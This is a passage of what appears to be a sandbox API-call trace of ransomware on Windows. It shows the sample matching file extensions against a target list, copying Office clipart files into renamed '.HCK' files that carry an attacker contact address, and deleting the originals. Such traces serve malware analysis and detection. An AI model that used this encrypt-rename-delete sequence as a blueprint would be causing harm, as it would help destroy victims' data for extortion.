Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".doc") returned 4 [0157.756] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".docx") returned 5 [0157.756] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.756] lstrlenW (lpString=".pdf") returned 4 [0157.756] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".xls") returned 4 [0157.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.756] lstrlenW (lpString=".xlsx") returned 5 [0157.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.756] lstrlenW (lpString=".ppt") returned 4 [0157.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.756] lstrlenW (lpString=".zip") returned 4 [0157.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.756] lstrlenW (lpString=".rar") returned 4 [0157.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.756] lstrlenW (lpString=".bz2") returned 4 [0157.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString=".7z") returned 3 [0157.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.757] lstrlenW (lpString=".dbf") returned 4 [0157.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.757] lstrlenW (lpString=".1cd") returned 4 [0157.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01146_.WMF") returned 68 [0157.757] lstrlenW (lpString=".jpg") returned 4 [0157.757] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.757] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.757] lstrlenW (lpString="DD01152_.WMF") returned 12 [0157.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.757] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2960) returned 1 [0157.757] CloseHandle (hObject=0x36c) returned 1 [0157.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 0x220 [0157.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.757] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.758] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.758] GetLastError () returned 0x0 [0157.758] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xb90, lpOverlapped=0x0) returned 1 [0157.759] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xba0, lpOverlapped=0x0) returned 1 [0157.760] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0157.760] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0157.760] SetEndOfFile (hFile=0x300) returned 1 [0157.760] CloseHandle (hObject=0x300) returned 1 [0157.762] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.762] SetEndOfFile (hFile=0x36c) returned 1 [0157.762] CloseHandle (hObject=0x36c) returned 1 [0157.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0157.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01152_.wmf")) returned 1 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString=".doc") returned 4 [0157.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString=".docx") returned 5 [0157.763] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.763] lstrlenW (lpString=".pdf") returned 4 [0157.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString=".xls") returned 4 [0157.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.763] lstrlenW (lpString=".xlsx") returned 5 [0157.763] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.763] lstrlenW (lpString=".ppt") returned 4 [0157.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString=".zip") returned 4 [0157.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.763] lstrlenW (lpString=".rar") returned 4 [0157.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString=".bz2") returned 4 [0157.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString=".7z") returned 3 [0157.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString=".dbf") returned 4 [0157.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString=".1cd") returned 4 [0157.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.763] lstrlenW (lpString=".jpg") returned 4 [0157.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString=".doc") returned 4 [0157.764] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString=".docx") returned 5 [0157.764] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0157.764] lstrlenW (lpString=".pdf") returned 4 [0157.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString=".xls") returned 4 [0157.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0157.764] lstrlenW (lpString=".xlsx") returned 5 [0157.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0157.764] lstrlenW (lpString=".ppt") returned 4 [0157.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString=".zip") returned 4 [0157.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0157.764] lstrlenW (lpString=".rar") returned 4 [0157.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString=".bz2") returned 4 [0157.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString=".7z") returned 3 [0157.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString=".dbf") returned 4 [0157.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString=".1cd") returned 4 [0157.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0157.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01152_.WMF") returned 68 [0157.764] lstrlenW (lpString=".jpg") returned 4 [0157.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0157.764] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0157.764] lstrlenW (lpString="DD01157_.WMF") returned 12 [0157.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.764] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=3588) returned 1 [0157.765] CloseHandle (hObject=0x36c) returned 1 [0157.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 0x220 [0157.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0157.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0157.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.765] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0157.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0157.765] GetLastError () returned 0x0 [0157.765] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0xe04, lpOverlapped=0x0) returned 1 [0158.132] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xe10, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe10, lpOverlapped=0x0) returned 1 [0158.153] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.153] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.154] SetEndOfFile (hFile=0x300) returned 1 [0158.154] CloseHandle (hObject=0x300) returned 1 [0158.154] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.154] SetEndOfFile (hFile=0x36c) returned 1 [0158.155] CloseHandle (hObject=0x36c) returned 1 [0158.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.155] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01157_.wmf")) returned 1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".doc") returned 4 [0158.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".docx") returned 5 [0158.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.156] lstrlenW (lpString=".pdf") returned 4 [0158.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".xls") returned 4 [0158.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.156] lstrlenW (lpString=".xlsx") returned 5 [0158.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.156] lstrlenW (lpString=".ppt") returned 4 [0158.156] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".zip") returned 4 [0158.156] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.156] lstrlenW (lpString=".rar") returned 4 [0158.156] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".bz2") returned 4 [0158.156] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".7z") returned 3 [0158.156] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".dbf") returned 4 [0158.156] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".1cd") returned 4 [0158.156] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".jpg") returned 4 [0158.156] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.156] lstrlenW (lpString=".doc") returned 4 [0158.156] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".docx") returned 5 [0158.156] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.156] lstrlenW (lpString=".pdf") returned 4 [0158.156] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.156] lstrlenW (lpString=".xls") returned 4 [0158.156] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.156] lstrlenW (lpString=".xlsx") returned 5 [0158.156] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.157] lstrlenW (lpString=".ppt") returned 4 [0158.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.157] lstrlenW (lpString=".zip") returned 4 [0158.157] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.157] lstrlenW (lpString=".rar") returned 4 [0158.157] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.157] lstrlenW (lpString=".bz2") returned 4 [0158.157] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.157] lstrlenW (lpString=".7z") returned 3 [0158.157] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.157] lstrlenW (lpString=".dbf") returned 4 [0158.157] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.157] lstrlenW (lpString=".1cd") returned 4 [0158.157] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01157_.WMF") returned 68 [0158.157] lstrlenW (lpString=".jpg") returned 4 [0158.157] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.157] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0158.157] lstrlenW (lpString="DD01585_.WMF") returned 12 [0158.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.157] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2524) returned 1 [0158.157] CloseHandle (hObject=0x36c) returned 1 [0158.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 0x220 [0158.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0158.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0158.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.158] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0158.158] GetLastError () returned 0x0 [0158.158] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x9dc, lpOverlapped=0x0) returned 1 [0158.159] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x9e0, lpOverlapped=0x0) returned 1 [0158.160] ReadFile (in: hFile=0x36c, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.160] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.160] SetEndOfFile (hFile=0x300) returned 1 [0158.160] CloseHandle (hObject=0x300) returned 1 [0158.162] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.162] SetEndOfFile (hFile=0x36c) returned 1 [0158.163] CloseHandle (hObject=0x36c) returned 1 [0158.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0158.163] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01585_.wmf")) returned 1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.164] lstrlenW (lpString=".doc") returned 4 [0158.164] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".docx") returned 5 [0158.164] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.164] lstrlenW (lpString=".pdf") returned 4 [0158.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".xls") returned 4 [0158.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.164] lstrlenW (lpString=".xlsx") returned 5 [0158.164] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0158.164] lstrlenW (lpString=".ppt") returned 4 [0158.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.164] lstrlenW (lpString=".zip") returned 4 [0158.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0158.164] lstrlenW (lpString=".rar") returned 4 [0158.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".bz2") returned 4 [0158.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString=".7z") returned 3 [0158.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.164] lstrlenW (lpString=".dbf") returned 4 [0158.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.164] lstrlenW (lpString=".1cd") returned 4 [0158.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0158.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".jpg") returned 4 [0158.165] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01585_.WMF") returned 68 [0158.165] lstrlenW (lpString=".doc") returned 4 [0158.165] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.165] lstrlenW (lpString=".docx") returned 5 [0158.165] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0158.165] lstrlenW 